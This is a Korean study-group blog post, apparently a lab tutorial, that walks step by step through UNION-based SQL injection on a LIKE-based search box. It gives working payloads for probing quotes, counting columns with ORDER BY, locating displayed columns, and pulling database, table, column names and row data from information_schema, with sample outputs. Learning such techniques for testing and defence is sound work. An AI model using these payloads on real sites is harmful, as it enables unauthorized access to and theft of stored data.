SQL Injection Step By Step

황인환·2024년 5월 26일

-검색결과가 나오는 case

1. sql문을 넣을 수 있는 포인트 찾기

-> ex)검색창

  • mario 검색 -> ma 검색-> ri 검색
  • ma나 ri를 입력으로 mario에 대한 검색결과가 도출되었으면 like를 사용하는 sql문일 것이라고 예상
  • ri%' and '%1%'='%1 검색 -> 다른 특수문자(ex)괄호)가 있는지 확인
    ->앞에 ri%를 붙이는 이유는 없이 검색하면 모든 것에 참이되어서 모든 데이터가 나타남
    -> 'and '1'='1 가 아닌 %를 붙이는 이유는 sql문 안에 like때문
    +)ri%' and '%1%'='%2와 같은 거짓조건도 넣어 다른 방법도 찾아봄

2. Column 갯수파악 for union select

  • ri%' order by n# 으로 컬럼갯수 파악
  • n에 error 나올때까지 숫자를 넣고 하나씩 늘려감
    ex) ri%' order by 1# -> ri%' order by 2# ->....
  • spl문에서 정한 column 갯수까지 error가 안남
    ex) spl="SELECT id, pass from member " -> 2#까지 가능 3#은 에러
    +) DB에 더 많은 칼럼이 있더라도 spl문에 적힌 칼럼 갯수만큼 가능

3. 출력되는 column 위치 찾기

  • ri%' union select 1,2,3,4# 를 검색
    어떤 부분이 출력되는지 확인하고 어떤 컬럼인지 확인할수도 있는 절차
    ex)
titlecontenthit설명
phpphp is ...26출력되는 값
234<- ri%' union select 1,2,3,4# 를 검색

4. DataBase 이름확인

  • DB 확인하는 spl문 -> select database()
  • 적용예시 -> ri%' union select 1,database(),3,4#
    +) 출력가능한 컬럼(234)에 넣어서 확인 -> c번 예시
    ex)
titlecontenthit설명
phpphp is ...26출력되는 값
2sql_DB4<- ri%' union select 1,2,database(),4# 를 검색

5. Table 이름확인

  • Table 확인하는 spl문 -> information_schema.tables
    -> SQL="SELECT table_name from information_schema.tables where table_schema='DB이름'"
    -> from 앞에 union문에 컬럼 갯수와 sql문 컬럼갯수가 일치해야함
  • 적용예시
    -> ri%' union select 1,2,table_name,4 from information_schema.tables where table_schema='sql_DB'"#
titlecontenthit설명
phpphp is ...26출력되는 값
2sql_T4<- 적용예시 입력 후 값
sql_T1
sql_T2

6. Column 이름확인

  • Column 확인하는 spl문 -> information_schema.columns
    -> SQL="SELECT column_name from information_schema.columns where table_schema='DB이름'"

  • 적용예시
    -> ri%' union select 1,2,column_name,4 from information_schema.columns where table_schema='sql_DB'"#

titlecontenthit설명
phpphp is ...26출력되는 값
2sql_Col4<- 적용예시 입력 후 값
sql_Col1
sql_Col2

7. Data 출력

  • SQL 평문- SELECT (column이름) FROM (table이름)

  • 적용예시
    -> ri%' union select 1,sql_Col,sql_Col1,4 from sql_T where 1 = 1 and '%1%' = '%1
    +) where 1=1 을 추가하지 않으면 작동되지 않는다.
    WHY
    -> AND은 WHERE과 같은 조건절에 사용가능
    -> order by 나 limit은 마지막에 와야함 -> AND사용불가
    +) 앞에 결과에서 값중 원하는 컬럼과 테이블 선택

titlecontenthit설명
phpphp is ...26출력되는 값
col_value1col_value24<- 적용예시 입력 후 값

--normaltic study 6주차--

0개의 댓글